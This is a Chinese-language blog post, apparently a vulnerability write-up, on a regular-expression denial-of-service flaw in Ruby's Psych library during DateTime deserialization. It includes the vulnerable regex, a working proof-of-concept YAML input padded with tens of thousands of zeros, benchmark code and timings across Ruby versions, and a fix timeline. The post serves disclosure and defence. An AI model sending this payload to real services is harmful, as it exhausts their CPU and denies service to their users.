Ruby Psych库中的正则表达式拒绝服务漏洞分析

本文详细分析了Ruby Psych库中存在的正则表达式拒绝服务漏洞,涉及DateTime反序列化过程中的正则表达式匹配问题,提供了漏洞复现步骤、性能基准测试结果以及在不同Ruby版本中的影响范围。

Ruby Psych库中的ReDoS漏洞分析

漏洞概述

在Ruby的Psych库中发现了一个正则表达式拒绝服务(ReDoS)漏洞。该漏洞存在于Psych.load方法的DateTime反序列化过程中,当允许DateTime反序列化时可能触发ReDoS攻击。

漏洞位置

  • lib/psych/scalar_scanner.rb第113行
  • lib/psych/visitors/to_ruby.rb第83行

漏洞代码分析

1
2
3
4
5
6
7
def parse_time string
  klass = class_loader.load 'Time'
  date, time = *(string.split(/[ tT]/, 2))
  (yy, m, dd) = date.match(/^(-?\d{4})-(\d{1,2})-(\d{1,2})/).captures.map { |x| x.to_i }
  md = time.match(/(\d+:\d+:\d+)(?:\.(\d*))?\s*(Z|[-+]\d+(:\d\d)?)?/)
  (hh, mm, ss) = md[1].split(':').map { |x| x.to_i }
  us = (md[2] ? Rational("0.#{md[2]}") : 0) * 1000000

其中正则表达式/(\d+:\d+:\d+)(?:\.(\d*))?\s*(Z|[-+]\d+(:\d\d)?)?/存在漏洞。

漏洞验证

环境信息

1
ruby 3.1.1p18 (2022-02-18 revision 53f5fc4236) [arm64-darwin20]

漏洞复现步骤

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
require 'yaml'
require 'date'

YAML.dump(DateTime.now)
# => "--- !ruby/object:DateTime 2022-02-22 06:43:52.577591000 +09:00\n"

YAML.load("--- !ruby/object:DateTime 2022-02-22 07:02:07.096315000 +09:00\n", permitted_classes: [Time, DateTime])
# => #<DateTime: 2022-02-22T07:02:07+09:00 ((2459632j,79327s,96315000n),+32400s,2299161j)>

YAML.load("--- !ruby/object:DateTime 2022-02-22 " + '0' * 50000 + "00:0Z0:0:0", permitted_classes: [Time, DateTime])
# ReDoS触发!

性能基准测试

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
require 'benchmark'
require 'yaml'
require 'date'

def datetime_parse(length)
  text = "--- !ruby/object:DateTime 2022-02-21 " + '0' * length + '00:0Z0:0:0'
  YAML.load(text , permitted_classes: [Time, DateTime])
end

Benchmark.bm do |x|
  x.report { datetime_parse(100) }
  x.report { datetime_parse(1000) }
  x.report { datetime_parse(10000) }
  x.report { datetime_parse(100000) }
end

测试结果

Ruby 3.1.1环境:

1
2
3
4
5
       user     system      total        real
   0.000215   0.000212   0.000427 (  0.000422)
   0.002306   0.000005   0.002311 (  0.002314)
   0.219717   0.000125   0.219842 (  0.219844)
  21.904961   0.041427  21.946388 ( 21.946604)

影响范围

  • 漏洞影响:当允许DateTime反序列化时会发生ReDoS
  • 影响有限,因为攻击字符串永远不会匹配TIME的值(参考lib/psych/scalar_scanner.rb第50行)

版本兼容性

Ruby 3.2.0

ReDoS问题已修复:

1
2
3
4
5
       user     system      total        real
   0.000461   0.000594   0.001055 (  0.001286)
   0.000154   0.000005   0.000159 (  0.000159)
   0.000864   0.000004   0.000868 (  0.000878)
   0.008076   0.000112   0.008188 (  0.008203)

Ruby 3.3.0

ReDoS问题重新出现:

1
2
3
4
5
       user     system      total        real
   0.000232   0.000202   0.000434 (  0.000432)
   0.001668   0.000001   0.001669 (  0.001669)
   0.159783   0.000738   0.160521 (  0.160610)
  16.068381   0.082545  16.150926 ( 16.178969)

修复状态

  • 2024年1月11日:确认在master分支中回归问题已解决
  • 2025年6月3日:由于Ruby 3.1已结束生命周期(EOL),不再计划发布新版本修复
  • 2025年7月8日:漏洞报告已公开披露

相关研究

其他gem中的ReDoS问题研究结果:https://gist.github.com/ooooooo-q/88ad0911c45571389170c41cb403a2f7

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计